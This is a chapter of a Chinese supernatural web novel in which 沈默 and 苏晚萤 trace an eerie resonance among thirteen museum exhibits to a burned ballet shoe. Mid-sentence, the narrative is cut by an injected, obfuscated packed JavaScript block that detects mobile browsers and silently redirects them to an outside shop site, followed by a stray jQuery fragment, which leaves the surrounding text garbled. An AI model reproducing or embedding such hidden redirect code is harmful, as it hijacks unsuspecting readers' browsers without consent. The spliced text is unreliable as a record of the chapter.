第四十七章-谢幕差0.7秒

作品:《阴阳剥皮人

    秒针在表盘上划过第二万五千九百二十圈时,沈默的睫毛先动了。


    苏晚萤正握着他的手,指腹贴着他腕间若有若无的脉搏。


    那点跳动突然有力了些,她抬头时,正撞进一双蒙着雾的眼睛——他的瞳孔像浸在冷水中的玻璃弹珠,对顶灯的强光反应迟缓,半天才缩成两粒细黑的针。


    “沈...沈默?“她声音发颤,另一只手去摸他额头,凉得不正常。


    他张了张嘴,喉结滚动,发出的声音像砂纸擦过金属:“你展览的十三件遗物......“尾音被咳嗽截断,他攥住她手腕的手指骤然收紧,“不是偶然收集的,是被''选中''的。“


    监护仪的蜂鸣突然变调。


    小吴从电脑前弹起来,眼镜滑到鼻尖:“脑波!


    颞叶和前额叶在低频耦合,这他妈比昏迷时还危险——“


    “笔。“沈默打断他,另一只手摸索着床头柜。


    苏晚萤这才发现,他枕头下露出半本染血的笔记本。


    她抽出来时,内页簌簌作响,血字与霜痕交织的符号像活物般爬满纸页,有些字的边缘还泛着淡蓝的荧光,正是此前残响自创的刻痕文字。


    “这些符号......“他舔了舔干裂的嘴唇,目光死死锁着苏晚萤,“从大脑的封锁区往外渗。


    源头是''城市记忆:消逝的十三''特展的展品清单。“他每说一个字都像在嚼碎玻璃,“每一件展品,都当过其他诡异事件的介质。“


    苏晚萤的指尖在纸页上发抖。


    她突然想起三天前布展时,触摸铜扣的瞬间,掌心曾闪过灼痛;擦拭石碑时,眼角余光总瞥见影子里有个模糊的轮廓。


    当时只当是熬夜太狠,现在想来,那些异常像被按了慢放键的电影,每一帧都在尖叫着提醒什么。


    “我去调档案。“她转身要走,却被沈默扯住衣角。


    他的指甲几乎掐进她手背:“看工作日志,找1983年舞鞋的记录。“


    档案室的空调在头顶嗡鸣。


    苏晚萤翻到十一月七号那页时,后颈的汗毛全竖起来了。


    米黄色的日志纸上,她熟悉的字迹赫然写着:“1983年舞鞋,来自程老捐赠,存放于B7库房。“可她明明记得,这次特展的捐赠名单里根本没有姓程的——更诡异的是,她的签名栏下方,还盖着“已审批入库“的红章,而她从未见过这双舞鞋,更没进过B7库房。


    监控室的屏幕蓝光映得小吴脸色发青。


    他调出三天前的库房录像,快进到深夜两点十七分:画面里的苏晚萤穿着米色针织衫,和今天身上这件一模一样,却闭着眼睛,像被线牵着的提线木偶。


    她走向B7货架,取出一个黑丝绒展盒,抱在胸口站了整整十八分钟,嘴唇微张,喉咙动的频率,和谢幕词的音节分毫不差。


    “这不可能。“苏晚萤的指尖抵着屏幕上自己的影子,“我那天明明在医院陪......“她突然顿住——三天前凌晨,正是沈默被送进抢救室的时间。


    她记得自己在走廊坐了整夜,怎么会出现在库房?


    “记忆被篡改了。“沈默不知何时站在监控室门口。


    他扶着门框,白大褂下摆沾着医院的消毒水味,“残响通过介质侵入你的意识,制造了时间漏洞。“他指节抵着太阳穴,那里正突突跳着,“小吴,查全市异常事件时间轴。“


    键盘敲击声像密集的鼓点。


    小吴的屏幕上,红色标记的事件节点逐渐连成网:铜扣出现在新闻照片的次日,老城区发生集体幻听;石碑被游客拍照的第三小时,登山队在山脚迷了路;冰块登上热搜的当晚,冷饮店老板看见冰柜里浮着溺水者的脸......


    “关联系数0.87。“小吴咽了口唾沫,调出自己做的模型,“每次残响爆发都在展品被公众关注后。


    不是物品承载执念,是''被注视''在激活共振。“他放大模型中央的十三颗光点,“当十三件介质同时暴露在高共情场域......“屏幕突然闪过刺目的白光,再亮起时,十三光点连成了一个环,“它们会形成认知共振环,把单一执念放大到城市级。“


    沈默的呼吸突然急促起来。


    他抓起外套往身上套,骨锯的金属柄从口袋里滑出来,撞在椅子上发出脆响:“看舞鞋去。“


    B7库房的霉味混着松节油气息。


    沈默戴绝缘手套的手悬在黑丝绒展盒上方三厘米处,指节因为用力发白。


    苏晚萤帮他打开盒盖的瞬间,一股焦糊味涌出来——烧焦的芭蕾舞鞋蜷在丝绒里,左鞋尖有一点淡绿色的荧光粉,和他上个案子标记现场用的试剂一模一样。


    光谱仪的嗡鸣声里,沈默的额头渗出冷汗。


    他盯着屏幕上的成分分析报告,声音发颤:“灰烬里有观众席座椅的织物纤维。“他抬头看苏晚萤,眼睛亮得吓人,“她至死都保持着面向观众的姿势。


    执念不是死亡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16306186|182836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是''未完成的谢幕''。“


    “所以只要有人观看......“苏晚萤突然捂住嘴。


    “仪式就必须补全。“沈默接完她的话,“否则所有观者都会陷入''未完成''的循环。


    上回的集体幻听是观众在等掌声,登山队迷路是在找出口,冷饮店的溺水者......“他喉结滚动,“是在等谢幕的0.7秒。“


    深夜的解剖室被投影仪的光切成两半。


    林导送来的录像里,空无一人的展厅突然起了风。


    所有展品的影子同时摆动,像被无形的手拨弄的钟摆。


    舞鞋在展台上轻轻颤动,鞋尖点地的节奏,和芭蕾谢幕的足尖步分毫不差。


    录音里的杂音突然清晰。


    无数个声音重叠着低语,像从很远的地方飘来:“差一点......还差一点......“


    “0.7秒!“沈默猛的站起来,撞翻了光谱仪。


    金属落地的巨响里,他瞳孔深处的霜字突然清晰——“谢幕差0.7秒“,每个字都在往下滴着细碎的冰渣。


    他抓起骨锯冲向墙面,锯齿划开白漆的声音像指甲刮黑板:“必须让它''完不成''。“


    窗外传来“咔“的一声。


    苏晚萤跑去窗边,看见博物馆穹顶的景观灯正在诡异地明灭。


    最中央的聚光灯突然亮起,光束笔直地射向展厅方向,像一只睁开的眼睛。


    “他们在准备仪式。“沈默擦了擦鼻血,把骨锯塞进苏晚萤手里,“现在只有一个办法——“他的目光穿过她,落在墙上新刻的字上,“在谢幕完成前,让共振环崩解。“


    苏晚萤低头看手里的骨锯,金属柄还带着他掌心的温度。


    她想起监控里那个闭着眼的自己,想起日志上陌生的签名,想起展柜里那只始终在等待的舞鞋。


    “什么时候?“她问。


    “现在。“沈默扯掉病号服,露出下面已经穿好的黑色工装,“展厅布展完毕了吗?“


    苏晚萤的手机突然震动。


    她打开工作群,最新一条消息是陈策展发的:“明早九点,特展开幕式彩排。


    所有展品已归位。“


    解剖室的挂钟敲响凌晨两点。


    沈默抓起桌上的笔记本,霜痕文字在纸页间流动,像在倒计时。


    他转向苏晚萤,眼睛里的雾气散了些,却比任何时候都亮:“带我去展厅。“